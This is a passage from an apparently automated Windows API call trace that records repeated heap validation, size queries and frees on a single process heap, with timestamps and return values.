0x286ac7d0000 [0121.050] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7da880) returned 1 [0121.050] GetProcessHeap () returned 0x286ac7d0000 [0121.050] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7da880) returned 0x18 [0121.050] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7da880) returned 1 [0121.050] GetProcessHeap () returned 0x286ac7d0000 [0121.050] GetProcessHeap () returned 0x286ac7d0000 [0121.050] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7db650) returned 1 [0121.050] GetProcessHeap () returned 0x286ac7d0000 [0121.050] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7db650) returned 0x20 [0121.050] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7db650) returned 1 [0121.051] GetProcessHeap () returned 0x286ac7d0000 [0121.051] GetProcessHeap () returned 0x286ac7d0000 [0121.051] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d3bb0) returned 1 [0121.051] GetProcessHeap () returned 0x286ac7d0000 [0121.051] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d3bb0) returned 0x88 [0121.051] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d3bb0) returned 1 [0121.051] GetProcessHeap () returned 0x286ac7d0000 [0121.051] GetProcessHeap () returned 0x286ac7d0000 [0121.051] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7da860) returned 1 [0121.051] GetProcessHeap () returned 0x286ac7d0000 [0121.051] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7da860) returned 0x18 [0121.051] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7da860) returned 1 [0121.051] GetProcessHeap () returned 0x286ac7d0000 [0121.051] GetProcessHeap () returned 0x286ac7d0000 [0121.052] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7db6b0) returned 1 [0121.052] GetProcessHeap () returned 0x286ac7d0000 [0121.052] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7db6b0) returned 0x20 [0121.052] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7db6b0) returned 1 [0121.052] GetProcessHeap () returned 0x286ac7d0000 [0121.052] GetProcessHeap () returned 0x286ac7d0000 [0121.052] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7dab00) returned 1 [0121.052] GetProcessHeap () returned 0x286ac7d0000 [0121.052] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7dab00) returned 0xe [0121.053] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7dab00) returned 1 [0121.053] GetProcessHeap () returned 0x286ac7d0000 [0121.053] GetProcessHeap () returned 0x286ac7d0000 [0121.053] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7daaa0) returned 1 [0121.053] GetProcessHeap () returned 0x286ac7d0000 [0121.053] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7daaa0) returned 0x18 [0121.053] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7daaa0) returned 1 [0121.053] GetProcessHeap () returned 0x286ac7d0000 [0121.053] GetProcessHeap () returned 0x286ac7d0000 [0121.053] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d9110) returned 1 [0121.053] GetProcessHeap () returned 0x286ac7d0000 [0121.053] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d9110) returned 0x20 [0121.053] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d9110) returned 1 [0121.053] GetProcessHeap () returned 0x286ac7d0000 [0121.054] GetProcessHeap () returned 0x286ac7d0000 [0121.054] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d9a50) returned 1 [0121.054] GetProcessHeap () returned 0x286ac7d0000 [0121.054] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d9a50) returned 0x208 [0121.054] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d9a50) returned 1 [0121.054] GetProcessHeap () returned 0x286ac7d0000 [0121.054] GetProcessHeap () returned 0x286ac7d0000 [0121.054] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d6970) returned 1 [0121.054] GetProcessHeap () returned 0x286ac7d0000 [0121.054] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d6970) returned 0x18 [0121.054] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d6970) returned 1 [0121.054] GetProcessHeap () returned 0x286ac7d0000 [0121.054] GetProcessHeap () returned 0x286ac7d0000 [0121.054] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d8f30) returned 1 [0121.054] GetProcessHeap () returned 0x286ac7d0000 [0121.055] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d8f30) returned 0x20 [0121.055] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d8f30) returned 1 [0121.055] GetProcessHeap () returned 0x286ac7d0000 [0121.055] GetProcessHeap () returned 0x286ac7d0000 [0121.055] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7dba80) returned 1 [0121.055] GetProcessHeap () returned 0x286ac7d0000 [0121.055] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7dba80) returned 0x200 [0121.056] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7dba80) returned 1 [0121.056] GetProcessHeap () returned 0x286ac7d0000 [0121.056] GetProcessHeap () returned 0x286ac7d0000 [0121.056] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d4400) returned 1 [0121.056] GetProcessHeap () returned 0x286ac7d0000 [0121.056] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d4400) returned 0x18 [0121.056] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d4400) returned 1 [0121.056] GetProcessHeap () returned 0x286ac7d0000 [0121.056] GetProcessHeap () returned 0x286ac7d0000 [0121.056] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d90e0) returned 1 [0121.056] GetProcessHeap () returned 0x286ac7d0000 [0121.056] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d90e0) returned 0x20 [0121.057] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d90e0) returned 1 [0121.057] GetProcessHeap () returned 0x286ac7d0000 [0121.057] GetProcessHeap () returned 0x286ac7d0000 [0121.057] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7daa80) returned 1 [0121.057] GetProcessHeap () returned 0x286ac7d0000 [0121.057] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7daa80) returned 0x14 [0121.057] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7daa80) returned 1 [0121.057] GetProcessHeap () returned 0x286ac7d0000 [0121.057] GetProcessHeap () returned 0x286ac7d0000 [0121.057] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7daa00) returned 1 [0121.057] GetProcessHeap () returned 0x286ac7d0000 [0121.057] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7daa00) returned 0x18 [0121.058] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7daa00) returned 1 [0121.058] GetProcessHeap () returned 0x286ac7d0000 [0121.058] GetProcessHeap () returned 0x286ac7d0000 [0121.058] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d8e70) returned 1 [0121.058] GetProcessHeap () returned 0x286ac7d0000 [0121.058] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d8e70) returned 0x20 [0121.058] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d8e70) returned 1 [0121.059] GetProcessHeap () returned 0x286ac7d0000 [0121.059] GetProcessHeap () returned 0x286ac7d0000 [0121.059] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d3940) returned 1 [0121.059] GetProcessHeap () returned 0x286ac7d0000 [0121.059] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d3940) returned 0x16 [0121.059] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d3940) returned 1 [0121.059] GetProcessHeap () returned 0x286ac7d0000 [0121.059] GetProcessHeap () returned 0x286ac7d0000 [0121.059] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d3920) returned 1 [0121.059] GetProcessHeap () returned 0x286ac7d0000 [0121.059] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d3920) returned 0x18 [0121.059] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d3920) returned 1 [0121.059] GetProcessHeap () returned 0x286ac7d0000 [0121.059] GetProcessHeap () returned 0x286ac7d0000 [0121.059] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d9020) returned 1 [0121.059] GetProcessHeap () returned 0x286ac7d0000 [0121.059] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d9020) returned 0x20 [0121.060] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d9020) returned 1 [0121.060] GetProcessHeap () returned 0x286ac7d0000 [0121.060] GetProcessHeap () returned 0x286ac7d0000 [0121.060] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d72d0) returned 1 [0121.060] GetProcessHeap () returned 0x286ac7d0000 [0121.060] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d72d0) returned 0x2 [0121.060] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d72d0) returned 1 [0121.060] GetProcessHeap () returned 0x286ac7d0000 [0121.060] GetProcessHeap () returned 0x286ac7d0000 [0121.060] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d6c40) returned 1 [0121.060] GetProcessHeap () returned 0x286ac7d0000 [0121.060] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d6c40) returned 0x20 [0121.061] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d6c40) returned 1 [0121.061] GetProcessHeap () returned 0x286ac7d0000 [0121.061] GetProcessHeap () returned 0x286ac7d0000 [0121.061] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d6c90) returned 1 [0121.061] GetProcessHeap () returned 0x286ac7d0000 [0121.061] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d6c90) returned 0x20 [0121.062] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d6c90) returned 1 [0121.062] GetProcessHeap () returned 0x286ac7d0000 [0121.062] GetProcessHeap () returned 0x286ac7d0000 [0121.062] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d6cc0) returned 1 [0121.062] GetProcessHeap () returned 0x286ac7d0000 [0121.062] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d6cc0) returned 0x20 [0121.063] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d6cc0) returned 1 [0121.063] GetProcessHeap () returned 0x286ac7d0000 [0121.063] GetProcessHeap () returned 0x286ac7d0000 [0121.063] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d8e40) returned 1 [0121.063] GetProcessHeap () returned 0x286ac7d0000 [0121.063] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d8e40) returned 0x20 [0121.064] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d8e40) returned 1 [0121.064] GetProcessHeap () returned 0x286ac7d0000 [0121.064] GetProcessHeap () returned 0x286ac7d0000 [0121.064] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7db620) returned 1 [0121.064] GetProcessHeap () returned 0x286ac7d0000 [0121.064] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7db620) returned 0x20 [0121.065] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7db620) returned 1 [0121.065] GetProcessHeap () returned 0x286ac7d0000 [0121.065] GetProcessHeap () returned 0x286ac7d0000 [0121.065] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7da8e0) returned 1 [0121.065] GetProcessHeap () returned 0x286ac7d0000 [0121.065] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7da8e0) returned 0xc [0121.065] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7da8e0) returned 1 [0121.065] GetProcessHeap () returned 0x286ac7d0000 [0121.065] GetProcessHeap () returned 0x286ac7d0000 [0121.065] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7db5f0) returned 1 [0121.065] GetProcessHeap () returned 0x286ac7d0000 [0121.065] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7db5f0) returned 0x20 [0121.066] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7db5f0) returned 1 [0121.066] GetProcessHeap () returned 0x286ac7d0000 [0121.066] GetProcessHeap () returned 0x286ac7d0000 [0121.066] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d38e0) returned 1 [0121.066] GetProcessHeap () returned 0x286ac7d0000 [0121.066] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d38e0) returned 0x30 [0121.067] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d38e0) returned 1 [0121.067] GetProcessHeap () returned 0x286ac7d0000 [0121.067] GetProcessHeap () returned 0x286ac7d0000 [0121.067] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7db740) returned 1 [0121.067] GetProcessHeap () returned 0x286ac7d0000 [0121.067] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7db740) returned 0x20 [0121.068] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7db740) returned 1 [0121.068] GetProcessHeap () returned 0x286ac7d0000 [0121.068] GetProcessHeap () returned 0x286ac7d0000 [0121.068] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d3970) returned 1 [0121.068] GetProcessHeap () returned 0x286ac7d0000 [0121.068] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d3970) returned 0x30 [0121.068] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d3970) returned 1 [0121.068] GetProcessHeap () returned 0x286ac7d0000 [0121.068] GetProcessHeap () returned 0x286ac7d0000 [0121.068] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7db830) returned 1 [0121.068] GetProcessHeap () returned 0x286ac7d0000 [0121.068] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7db830) returned 0x20 [0121.069] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7db830) returned 1 [0121.069] GetProcessHeap () returned 0x286ac7d0000 [0121.069] GetProcessHeap () returned 0x286ac7d0000 [0121.069] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7da9c0) returned 1 [0121.069] GetProcessHeap () returned 0x286ac7d0000 [0121.069] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7da9c0) returned 0x16 [0121.069] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7da9c0) returned 1 [0121.069] GetProcessHeap () returned 0x286ac7d0000 [0121.069] GetProcessHeap () returned 0x286ac7d0000 [0121.069] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7db4a0) returned 1 [0121.069] GetProcessHeap () returned 0x286ac7d0000 [0121.069] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7db4a0) returned 0x20 [0121.070] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7db4a0) returned 1 [0121.070] GetProcessHeap () returned 0x286ac7d0000 [0121.070] GetProcessHeap () returned 0x286ac7d0000 [0121.070] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7dab40) returned 1 [0121.070] GetProcessHeap () returned 0x286ac7d0000 [0121.070] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7dab40) returned 0x16 [0121.070] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7dab40) returned 1 [0121.070] GetProcessHeap () returned 0x286ac7d0000 [0121.070] GetProcessHeap () returned 0x286ac7d0000 [0121.070] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7db5c0) returned 1 [0121.070] GetProcessHeap () returned 0x286ac7d0000 [0121.070] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7db5c0) returned 0x20 [0121.071] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7db5c0) returned 1 [0121.071] GetProcessHeap () returned 0x286ac7d0000 [0121.071] GetProcessHeap () returned 0x286ac7d0000 [0121.071] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7f5a10) returned 1 [0121.071] GetProcessHeap () returned 0x286ac7d0000 [0121.071] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7f5a10) returned 0x82 [0121.071] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7f5a10) returned 1 [0121.071] GetProcessHeap () returned 0x286ac7d0000 [0121.071] GetProcessHeap () returned 0x286ac7d0000 [0121.071] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7db680) returned 1 [0121.071] GetProcessHeap () returned 0x286ac7d0000 [0121.071] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7db680) returned 0x20 [0121.072] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7db680) returned 1 [0121.072] GetProcessHeap () returned 0x286ac7d0000 [0121.072] GetProcessHeap () returned 0x286ac7d0000 [0121.072] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7daae0) returned 1 [0121.072] GetProcessHeap () returned 0x286ac7d0000 [0121.072] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7daae0) returned 0xe [0121.072] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7daae0) returned 1 [0121.072] GetProcessHeap () returned 0x286ac7d0000 [0121.073] GetProcessHeap () returned 0x286ac7d0000 [0121.073] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7db4d0) returned 1 [0121.073] GetProcessHeap () returned 0x286ac7d0000 [0121.073] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7db4d0) returned 0x20 [0121.073] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7db4d0) returned 1 [0121.073] GetProcessHeap () returned 0x286ac7d0000 [0121.073] GetProcessHeap () returned 0x286ac7d0000 [0121.073] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7daa40) returned 1 [0121.073] GetProcessHeap () returned 0x286ac7d0000 [0121.073] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7daa40) returned 0xc [0121.073] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7daa40) returned 1 [0121.073] GetProcessHeap () returned 0x286ac7d0000 [0121.073] GetProcessHeap () returned 0x286ac7d0000 [0121.073] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7db7a0) returned 1 [0121.073] GetProcessHeap () returned 0x286ac7d0000 [0121.073] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7db7a0) returned 0x20 [0121.074] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7db7a0) returned 1 [0121.074] GetProcessHeap () returned 0x286ac7d0000 [0121.074] GetProcessHeap () returned 0x286ac7d0000 [0121.074] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7daa60) returned 1 [0121.074] GetProcessHeap () returned 0x286ac7d0000 [0121.074] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7daa60) returned 0xe [0121.074] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7daa60) returned 1 [0121.074] GetProcessHeap () returned 0x286ac7d0000 [0121.074] GetProcessHeap () returned 0x286ac7d0000 [0121.074] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7db350) returned 1 [0121.074] GetProcessHeap () returned 0x286ac7d0000 [0121.074] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7db350) returned 0x20 [0121.075] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7db350) returned 1 [0121.079] GetProcessHeap () returned 0x286ac7d0000 [0121.079] GetProcessHeap () returned 0x286ac7d0000 [0121.080] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7daac0) returned 1 [0121.080] GetProcessHeap () returned 0x286ac7d0000 [0121.080] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7daac0) returned 0x10 [0121.080] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7daac0) returned 1 [0121.080] GetProcessHeap () returned 0x286ac7d0000 [0121.080] GetProcessHeap () returned 0x286ac7d0000 [0121.080] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7db7d0) returned 1 [0121.080] GetProcessHeap () returned 0x286ac7d0000 [0121.080] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7db7d0) returned 0x20 [0121.080] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7db7d0) returned 1 [0121.080] GetProcessHeap () returned 0x286ac7d0000 [0121.080] GetProcessHeap () returned 0x286ac7d0000 [0121.081] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d6c70) returned 1 [0121.081] GetProcessHeap () returned 0x286ac7d0000 [0121.081] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d6c70) returned 0x18 [0121.081] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d6c70) returned 1 [0121.081] GetProcessHeap () returned 0x286ac7d0000 [0121.081] GetProcessHeap () returned 0x286ac7d0000 [0121.081] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d9080) returned 1 [0121.081] GetProcessHeap () returned 0x286ac7d0000 [0121.081] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d9080) returned 0x20 [0121.081] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d9080) returned 1 [0121.081] GetProcessHeap () returned 0x286ac7d0000 [0121.081] GetProcessHeap () returned 0x286ac7d0000 [0121.082] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d90b0) returned 1 [0121.082] GetProcessHeap () returned 0x286ac7d0000 [0121.082] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d90b0) returned 0x20 [0121.082] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d90b0) returned 1 [0121.082] GetProcessHeap () returned 0x286ac7d0000 [0121.082] GetProcessHeap () returned 0x286ac7d0000 [0121.082] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d8de0) returned 1 [0121.082] GetProcessHeap () returned 0x286ac7d0000 [0121.082] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d8de0) returned 0x20 [0121.083] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d8de0) returned 1 [0121.083] GetProcessHeap () returned 0x286ac7d0000 [0121.083] GetProcessHeap () returned 0x286ac7d0000 [0121.083] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d8f60) returned 1 [0121.083] GetProcessHeap () returned 0x286ac7d0000 [0121.083] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d8f60) returned 0x20 [0121.084] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d8f60) returned 1 [0121.084] GetProcessHeap () returned 0x286ac7d0000 [0121.084] GetProcessHeap () returned 0x286ac7d0000 [0121.084] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d68e0) returned 1 [0121.084] GetProcessHeap () returned 0x286ac7d0000 [0121.084] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d68e0) returned 0x18 [0121.084] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d68e0) returned 1 [0121.084] GetProcessHeap () returned 0x286ac7d0000 [0121.084] GetProcessHeap () returned 0x286ac7d0000 [0121.084] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d8f90) returned 1 [0121.084] GetProcessHeap () returned 0x286ac7d0000 [0121.084] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d8f90) returned 0x20 [0121.085] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d8f90) returned 1 [0121.085] GetProcessHeap () returned 0x286ac7d0000 [0121.085] GetProcessHeap () returned 0x286ac7d0000 [0121.085] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d8ea0) returned 1 [0121.085] GetProcessHeap () returned 0x286ac7d0000 [0121.085] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d8ea0) returned 0x20 [0121.085] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d8ea0) returned 1 [0121.085] GetProcessHeap () returned 0x286ac7d0000 [0121.085] GetProcessHeap () returned 0x286ac7d0000 [0121.085] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d8ff0) returned 1 [0121.085] GetProcessHeap () returned 0x286ac7d0000 [0121.085] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d8ff0) returned 0x20 [0121.086] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d8ff0) returned 1 [0121.086] GetProcessHeap () returned 0x286ac7d0000 [0121.086] GetProcessHeap () returned 0x286ac7d0000 [0121.086] 